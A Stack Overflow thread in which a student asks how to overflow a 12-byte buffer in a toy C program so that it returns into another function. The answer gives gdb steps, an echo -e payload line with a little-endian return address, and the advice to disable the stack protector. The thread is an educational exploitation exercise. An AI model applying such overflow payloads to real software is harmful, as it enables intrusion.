0

I have to exploit a buffer vulnerability in the code below using a string of shell op codes. I have seen almost everything Google has suggested but this particular problem is confusing me because of the function separations.

void printThis(){
   if(printf("You did it 1!") >=0) exit(0);
   if(printf("You did it 2!") >=0) exit(0);
   if(printf("You did it 3!") >=0) exit(0);
}

void readIn(FILE *f){
   char exploit[12];
   int i;

   fscanf(f, "%s", exploit);

   for( i = 0; i < 12; i++){
      printf("%c", exploit[i]);
   }

   printf("\"\n");

}

int main(int argc, char** argv){
   FILE *fp;
   fp = fopen(argv[1], "r");

   readIn(fp);
   fclose(fp);
   printf("You suck at exploiting. I should not be printed.");

}

I am curious as to how to overflow the buffer in readIn() with the return address of the statement in printThis() since they are using different stacks. Intuition says a jump to the call on print will work but I haven't been able to get it working.

Any suggestions to get the information I need for the payload in GDB? Thanks for your help!

  • I guess you need to overflow `exploit` until the return address of `readIn`'s stack frame is replaced with the address of the `printThis` function. How to do it depends on the architecture for which the program is built – Diego Apr 07 '15 at 18:57
  • I understand that @Diego. Say there are 100 `printf` statements in `printThis` function and I want to return a specific string that is within the `if` statement. Do I need to insert the string manually or can I return the address where the data is stored? Thanks. – user3242611 Apr 07 '15 at 19:02
  • I think you can't just jump into the middle of a function and expect it to work. Usually the contain a prologue that sets up stack related registers,etc. Unless of course the stack is executable and you do that in the payload. But it all depends on the actual machine code. The C source is not so relevant. – Diego Apr 07 '15 at 19:21
  • @SeanBright that won't work. `fscanf` will stop loading the buffer at the first zero character (It is my understanding that it reads a c-string) – Diego Apr 07 '15 at 19:23
  • Thank you, @SeanBright. Why did you use 12 Null (I have to use NOPS) values? – user3242611 Apr 07 '15 at 19:23
  • @SeanBright: Ahhh. That makes perfect sense. And I am testing on x86_32. – user3242611 Apr 07 '15 at 19:29
  • @SeanBright aaah thanks! I didn't noticed that. It's easier if you can use zero bytes hehe – Diego Apr 07 '15 at 19:29

1 Answers1

2

Fire up everyone's favorite debugger:

$ gdb myprog

Disassemble printThis:

$ disassemble printThis

Grab the address of the instruction you want to call, in my case it is 0x0000000000400758. Create an input file and put 12 characters to fill exploit, another 12 NUL bytes, and then the return address you want:

$ echo -e "abcdabcdabcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x07\x40" > input.txt

(Notice that the bytes are reversed from what we actually want). Run your test with the input file:

$ ./myprog input.txt
abcdabcdabcd"
You did it 3!

I believe the 12 NUL bytes are overwriting both i and f (4 byte int, 8 byte pointer on x86_64) but I also have no clue what I am doing or talking about, so that explanation might be completely bogus.

Also, I had to compile myprog like so:

$ gcc -fno-stack-protector -g myprog.c -o myprog

Otherwise I got a stack smashing detection crash instead of the desired output.

Sean Bright
  • 118,630
  • 17
  • 138
  • 146